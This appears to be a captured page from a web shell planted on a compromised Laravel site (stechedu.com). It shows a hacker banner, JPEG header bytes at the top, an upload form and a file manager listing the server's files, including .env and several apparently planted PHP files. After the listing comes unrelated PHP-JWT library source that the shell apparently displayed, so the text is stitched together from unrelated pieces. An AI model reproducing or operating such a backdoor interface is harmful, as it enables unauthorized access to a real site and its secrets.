ÿØÿÛ C   iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :/home/stechedu/htdocs/stechedu.com

upload file:

List of files:

name file size edit permission action
.editorconfig258 KBAugust 13 2024 21:03:020770
.env1340 KBNovember 09 2024 13:13:000770
.env.example1213 KBAugust 13 2024 21:03:020770
.gitattributes186 KBAugust 13 2024 21:03:020770
.htaccess466 KBAugust 13 2024 21:03:020770
.well-known-July 10 2025 23:46:460750
11.php70548 KBJuly 01 2025 20:07:370644
Modules-November 04 2024 11:42:060755
README.md80 KBAugust 13 2024 21:03:020770
admin-link.php17837 KBJuly 21 2025 17:21:090644
app-November 04 2024 11:42:060755
artisan1686 KBAugust 13 2024 21:03:020770
aws.php188721 KBJuly 21 2025 17:21:090644
bootstrap-November 04 2024 11:38:260777
composer.json2932 KBSeptember 19 2024 12:33:020770
composer.lock415525 KBSeptember 19 2024 12:33:020770
config-July 02 2025 03:17:170777
database-November 04 2024 11:42:060777
index.php13824 KBJuly 02 2025 01:57:550770
ktq.txt1 KBJuly 02 2025 01:58:010644
lang-November 04 2024 11:38:260777
main.php302 KBJuly 05 2025 04:22:240644
modules_statuses.json775 KBAugust 26 2024 12:34:260770
package-lock.json72682 KBNovember 09 2024 12:47:510770
package.json481 KBAugust 13 2024 21:03:020770
phpunit.xml1084 KBAugust 13 2024 21:03:020770
postcss.config.js93 KBAugust 13 2024 21:03:020770
public-July 12 2025 06:01:050777
resources-November 04 2024 11:42:070755
robots.txt986 KBJuly 24 2025 00:32:120644
routes-November 04 2024 11:38:260777
server.php541 KBAugust 13 2024 21:03:040770
ss.php17569 KBJuly 02 2025 03:06:060644
storage-November 04 2024 11:42:080755
tailwind.config.js541 KBAugust 13 2024 21:03:040770
tests-November 04 2024 11:42:080777
tmp.zip3878 KBJuly 21 2025 17:21:090644
vendor-November 04 2024 11:42:120777
version.json26 KBOctober 15 2024 18:29:320770
vite-module-loader.js1397 KBAugust 13 2024 21:03:060770
vite.config.js310 KBAugust 13 2024 21:03:060770
*/ class CachedKeySet implements ArrayAccess { /** * @var string */ private $jwksUri; /** * @var ClientInterface */ private $httpClient; /** * @var RequestFactoryInterface */ private $httpFactory; /** * @var CacheItemPoolInterface */ private $cache; /** * @var ?int */ private $expiresAfter; /** * @var ?CacheItemInterface */ private $cacheItem; /** * @var array> */ private $keySet; /** * @var string */ private $cacheKey; /** * @var string */ private $cacheKeyPrefix = 'jwks'; /** * @var int */ private $maxKeyLength = 64; /** * @var bool */ private $rateLimit; /** * @var string */ private $rateLimitCacheKey; /** * @var int */ private $maxCallsPerMinute = 10; /** * @var string|null */ private $defaultAlg; public function __construct( string $jwksUri, ClientInterface $httpClient, RequestFactoryInterface $httpFactory, CacheItemPoolInterface $cache, int $expiresAfter = null, bool $rateLimit = false, string $defaultAlg = null ) { $this->jwksUri = $jwksUri; $this->httpClient = $httpClient; $this->httpFactory = $httpFactory; $this->cache = $cache; $this->expiresAfter = $expiresAfter; $this->rateLimit = $rateLimit; $this->defaultAlg = $defaultAlg; $this->setCacheKeys(); } /** * @param string $keyId * @return Key */ public function offsetGet($keyId): Key { if (!$this->keyIdExists($keyId)) { throw new OutOfBoundsException('Key ID not found'); } return JWK::parseKey($this->keySet[$keyId], $this->defaultAlg); } /** * @param string $keyId * @return bool */ public function offsetExists($keyId): bool { return $this->keyIdExists($keyId); } /** * @param string $offset * @param Key $value */ public function offsetSet($offset, $value): void { throw new LogicException('Method not implemented'); } /** * @param string $offset */ public function offsetUnset($offset): void { throw new LogicException('Method not implemented'); } /** * @return array */ private function formatJwksForCache(string $jwks): array { $jwks = json_decode($jwks, true); if (!isset($jwks['keys'])) { throw new UnexpectedValueException('"keys" member must exist in the JWK Set'); } if (empty($jwks['keys'])) { throw new InvalidArgumentException('JWK Set did not contain any keys'); } $keys = []; foreach ($jwks['keys'] as $k => $v) { $kid = isset($v['kid']) ? $v['kid'] : $k; $keys[(string) $kid] = $v; } return $keys; } private function keyIdExists(string $keyId): bool { if (null === $this->keySet) { $item = $this->getCacheItem(); // Try to load keys from cache if ($item->isHit()) { // item found! retrieve it $this->keySet = $item->get(); // If the cached item is a string, the JWKS response was cached (previous behavior). // Parse this into expected format array instead. if (\is_string($this->keySet)) { $this->keySet = $this->formatJwksForCache($this->keySet); } } } if (!isset($this->keySet[$keyId])) { if ($this->rateLimitExceeded()) { return false; } $request = $this->httpFactory->createRequest('GET', $this->jwksUri); $jwksResponse = $this->httpClient->sendRequest($request); if ($jwksResponse->getStatusCode() !== 200) { throw new UnexpectedValueException( sprintf('HTTP Error: %d %s for URI "%s"', $jwksResponse->getStatusCode(), $jwksResponse->getReasonPhrase(), $this->jwksUri, ), $jwksResponse->getStatusCode() ); } $this->keySet = $this->formatJwksForCache((string) $jwksResponse->getBody()); if (!isset($this->keySet[$keyId])) { return false; } $item = $this->getCacheItem(); $item->set($this->keySet); if ($this->expiresAfter) { $item->expiresAfter($this->expiresAfter); } $this->cache->save($item); } return true; } private function rateLimitExceeded(): bool { if (!$this->rateLimit) { return false; } $cacheItem = $this->cache->getItem($this->rateLimitCacheKey); $cacheItemData = []; if ($cacheItem->isHit() && \is_array($data = $cacheItem->get())) { $cacheItemData = $data; } $callsPerMinute = $cacheItemData['callsPerMinute'] ?? 0; $expiry = $cacheItemData['expiry'] ?? new \DateTime('+60 seconds', new \DateTimeZone('UTC')); if (++$callsPerMinute > $this->maxCallsPerMinute) { return true; } $cacheItem->set(['expiry' => $expiry, 'callsPerMinute' => $callsPerMinute]); $cacheItem->expiresAt($expiry); $this->cache->save($cacheItem); return false; } private function getCacheItem(): CacheItemInterface { if (\is_null($this->cacheItem)) { $this->cacheItem = $this->cache->getItem($this->cacheKey); } return $this->cacheItem; } private function setCacheKeys(): void { if (empty($this->jwksUri)) { throw new RuntimeException('JWKS URI is empty'); } // ensure we do not have illegal characters $key = preg_replace('|[^a-zA-Z0-9_\.!]|', '', $this->jwksUri); // add prefix $key = $this->cacheKeyPrefix . $key; // Hash keys if they exceed $maxKeyLength of 64 if (\strlen($key) > $this->maxKeyLength) { $key = substr(hash('sha256', $key), 0, $this->maxKeyLength); } $this->cacheKey = $key; if ($this->rateLimit) { // add prefix $rateLimitKey = $this->cacheKeyPrefix . 'ratelimit' . $key; // Hash keys if they exceed $maxKeyLength of 64 if (\strlen($rateLimitKey) > $this->maxKeyLength) { $rateLimitKey = substr(hash('sha256', $rateLimitKey), 0, $this->maxKeyLength); } $this->rateLimitCacheKey = $rateLimitKey; } } }